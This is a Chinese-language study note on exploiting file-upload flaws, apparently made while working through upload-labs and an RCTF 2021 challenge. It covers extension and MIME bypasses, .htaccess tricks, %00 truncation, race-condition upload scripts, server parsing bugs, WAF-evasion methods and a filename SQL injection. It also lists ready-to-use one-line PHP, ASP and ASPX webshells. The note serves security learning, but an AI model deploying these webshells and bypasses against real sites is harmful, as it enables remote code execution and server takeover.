后缀名:黑名单,白名单
文件类型:MIME信息(数据包中Content-Type)
文件头:内容头信息(如:GIF89a)
JS检测绕过攻击
上传文件的数据包并没有被发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测,服务端的php代码中并没有对文件后缀做任何判断
方法:
删除检测文件后缀的js代码
把需要上传文件的后缀名改为允许上传的绕过js的验证,再抓包,把后缀名改为可执行文件的后缀即可上传成功,蚁剑连接得flag
了解点基本代码
<html> <head> <meta charset="utf-8"> <title>菜鸟教程(runoob.com)</title> </head> <body> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
<?php if ($_FILES["file"]["error"] > 0) { echo "错误:" . $_FILES["file"]["error"] . "<br>"; } else { echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"]; } ?>
<?php // 允许上传的图片后缀 $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); // 获取文件后缀名 if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/jpg") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png")) && ($_FILES["file"]["size"] < 204800) // 小于 200 kb && in_array($extension, $allowedExts)) { if ($_FILES["file"]["error"] > 0) //UPLOAD_ERR_OK - 值:0; 没有错误发生,文件上传成功 { echo "错误:: " . $_FILES["file"]["error"] . "<br>"; } else { echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"]; } } else { echo "非法的文件格式"; } ?>
// 判断当前目录下的 upload 目录是否存在该文件 // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"]; }
trim() 函数移除字符串两侧的空白字符或其他预定义字符
$file_name = trim($_FILES['upload_file']['name']);
strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符
$file_ext = strrchr($file_name, '.');
判断$file_ext不在$deny_ext中
if(!in_array($file_ext, $deny_ext))
黑名单绕过思路
特殊解析后缀
上传php其它格式如php3,php5,phtml后缀名实现绕过
要求:Apache 配置文件中有相关操作支持php3,php5等
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
即如果上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析
方法一
SetHandler application/x-httpd-php //所有的文件当做php文件来解析
方法二
AddType application/x-httpd-php .png //.png文件当作php文件解析
一些windows特有的绕过
$file_ext = trim($file_ext); //首尾去空
$file_name = deldot($file_name);//删除文件名末尾的点
空格在windows文件命名上加空格,空格会自动清除掉,但是在数据包中空格可以明确地添加上去,所以可以实现绕过php黑名单限制,在windows上实现脚本的正常上传,点号同理
后缀名检测绕过:
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
如果文件名+“::$DATA”会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持“::DATA”之前的文件名
白名单绕过思路
%00截断
条件:
1.php版本要低于5.3.4
2.magic_quotes_gpc需要为off状态
if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; }
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
?save_path=../upload/1.php%00
../upload/1.php%003221213223.jpg ../upload/1.php
get和post的一点区别
%00我们是要url编码后为%00
post请求往往会把数据当做原始数据处理无法自动识别所以post请求中输入了%00还需要给它解码一下
之前SQL注入碰到的%df和#(%23)的特殊性都是这个道理
内容及其他
图片中写入后门代码命令
copy x.png /b + 111.php /a webshell.jpg
图片马需要配合文件包含漏洞执行,文件包含漏洞是把图片当做了脚本去执行
<?php /* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */ header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } ?>
文件头检测
png图片文件包含:89 50 4E 47 0D 0A 1A 0A
jpg图片文件包含:FF D8
gif图片文件包含:47 49 46 38 39|37 61
bmp图片文件包含:42 4D
以下函数都很安全:
getimagesize() 函数,用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
exif_imagetype()函数,也是用于获取图片类型,速度比getimage()快很多,需要开启php_exif模块
imagecreatefromjpeg(),imagecreatefrompng(),imagecreatefromgif()
二次渲染
文件在上传的时候分了两步
存在漏洞的原因:第一步上传未验证,在第一步之后做的验证产生逻辑漏洞
条件竞争
既然这样,将php文件不停地发包,再通过脚本去不停的访问我们上传的文件,总有一瞬间是还没来得及删除就被访问到了,然后要准备:一旦访问到就在当前目录下生成名为pass.php的一句话木马。
<?php fputs(fopen('pass.php','w'),'<?php phpinfo();?>'); ?>
import requests url = "http://127.0.0.1/upload-labs/upload/shell.php" while True: html = requests.get(url) if html.status_code == 200: print("创建成功") break
fputs() 函数写入文件(可安全用于二进制文件)
语法:fputs(file,string,length)
fopen() 函数打开文件或者 URL
语法:fopen(filename,mode,include_path,context)
w:写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
在做upload-labs看大佬的通关博客中,除上面这种之外有一种方式叫python多线程上传(拿来学习一下)
# coding:utf-8 import requests from concurrent.futures import ThreadPoolExecutor def td(list): url = 'http://localhost/upload-labs/Pass-17/index.php' files = {'upload_file': ( 'shell2.php', "<?php fputs(fopen('pass2.php','w'),'<?php phpinfo();?>');?>")} data = {'submit': '上传'} r = requests.post(url=url, data=data, files=files) re = requests.get('http://localhost/upload-labs/upload/shell2.php') if re.status_code == 200: print('上传成功') if __name__ == '__main__': with ThreadPoolExecutor(20) as p: # 创建一个最大容量数为20的线程池,即线程池中最多能同时运行的线程数目为20 p.map(td, range(200))
多线程:提高爬取效率
单线程:请求到url->得到响应->从响应中提取内容->存储到本地
操作系统每次运行一个程序的时候会给程序准备一块内存,内存存储产生的变量常量一些东西,这个内存区域可以叫:xxx进程。在这个进程里面会有若干个线程帮我们进行工作。进程:资源单位。线程:执行单位。每一个进程至少有一个线程。
启动一个程序默认会有一个主线程
map(fn, *iterables, timeout=None)
fn: 第一个参数 fn 是需要线程执行的函数;
iterables:第二个参数接受一个可迭代对象
timeout: 第三个参数 timeout 跟 wait() 的 timeout 一样,但由于 map 是返回线程执行的结果,如果 timeout小于线程执行时间会抛异常 TimeoutError
简而言之这个脚本就是在模拟bp发包
目录命名
$img_path = UPLOAD_PATH . '/' .$file_name;
一种是同之前%00截断
upload-19.php%00.jpg
另一种是文件夹命名特有的
upload/upload-19.php/.
以此来绕过后缀限制,又让代码保存时是upload-19.php
数组接受+目录命名
放个源代码
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; }
explode() 函数把字符串打散为数组。
语法:explode(separator,string,limit)
separator | 必需。规定在哪里分割字符串。 |
string | 必需。要分割的字符串。 |
limit | 可选。规定所返回的数组元素的数目。 |
end() 函数将数组内部指针指向最后一个元素,并返回该元素的值(如果成功)
reset() 函数将内部指针指向数组中的第一个元素,并输出。
这样
上传配合解析漏洞
IIS6.0
处理文件夹扩展名出错
image/qq.jpg
image.asp/qq.jpg qq.jpg就会被当做asp解析
截断字符;
image.jpg
image.asp;.jpg或xxx.asp;xxx.jpg 此文件被当做asp执行
asp可以被换做php 如果换了php及当做php执行
Apache多后缀解析漏洞
Nginx配置文件错误导致的解析漏洞
Nginx配置fastcgi使用php会存在文件类型解析漏洞
对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析,xxx.php是不存在的文件。
该漏洞是Nginx配置所导致,与Nginx版本无关
IIS7.5 同这一样
Nginx文件名逻辑漏洞(CVE-2013-45475)
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
补充:如果版本符合但是打补丁了也无法操作
WAF绕过
建立在有文件上传漏洞的基础上
上传参数名解析:明确哪些东西可以更改
Content-Disposition:一般可更改
name:表单参数值,不可更改(由上传点的东西决定)
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改
常见绕过方法:
垃圾数据溢出-防匹配
当大量数据的时候,程序会有一个崩溃和截至
插入位置:文件名处,间隔的分号之间,(记得加分号,分号代表语句的结束)
符号变异-防匹配(' " ;)
带引号的说明是不固定可更改的,不带引号认为是函数名或者是程序自带的东西
很多地方存在替换思想,双引号和单引号的效果是一样的,猜测安全狗检测的只是双引号里的东西
或者尝试让引号不闭合filename="qq.php
数据截断-防匹配(%00;换行)
分号(;):分号代表一个语句的结束,数据包把它当文件名但安全狗认为结束了就有qq.jpg;.php实现绕过
换行的话就是数据包文件名不会管换行符能识别写法,但安全狗检测到的是(qq.p\nh\np\n)
重复数据-防匹配(参数多次)
首先要搞清楚数据包上传filename是以哪个为准,再借助安全狗过滤递归循环它过滤几次的问题
或者利用数据包自带的一些信息的写入,安全狗检查filename在这个参数里面写
总之就是在满足数据包不被损坏的情况下,通过尝试来揣测进而绕过安全狗的检查机制(二者的差异性)
一句话木马
整点资料记一下
asp一句话
<%execute(request("hucys"))%>
<%eval request("hucys")%>
<%eval(Request.Item["hucys"],"unsafe");%>
php一句话
<?php eval($_POST[hucys]);?>
<script language="php">@eval($_POST[hucys])</script>
aspx一句话
<% @Page Language="Jscript"%><%eval(Request.Item["hucys"],"unsafe");%>
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
[RCTF 2021]upload
尝试了很多上面学到的绕过方法,buu做的题上传上去了的的.phtml也是了发现都不行估计是白名单,上传了半天只有.jpg可以上传,然后发现产生回显
查阅了wp,因为回显的是文件名,传入数据库的就也可能是文件名,既然连接了数据库发生了交互就有可能存在注入漏洞,因而要联想到文件名SQL注入,尝试注入,select被过滤了一次双写绕过一下,嗯...还有就是单引号闭合,产生下面的界面,回显如下
只有111,猜测是回显格式过滤,把字母转成十六进制,传入数据库文件名中如果包括SQL语句,在返回信息时,服务器将对字母进行截断(某些特殊字符也会截断或过滤)
这个的话十六进制转字符串看了一下是这样的:(它应该是web的,7765736有问题出现这个的原因下面说了)
同上因为服务器对字符进行了截断,因此用CONV十六进制转换为十进制
还因为回显长度的原因,需要使用substr
这里就不得不重视一个问题,我这数字好像跟wp上的不太一样啊???
检查了一下注入语句没问题,根据差值一个110一个为1,我猜测应该是我取的文件名的问题这个文件最开始叫111.jpg
换个不带数字的名字测试了一下
不出所料,至于为什么待会有空研究一下
最下面这串先转十六进制再转字符转回去得到web_up
同理substr搞出后半段
1819238756 转换得load,拼接得库名web_upload
同理得表名和列名
表名:hello_flag_is_here
列名:i_am_flag
数据:!!_@m_Th.e_F!lag
整理点没见过的: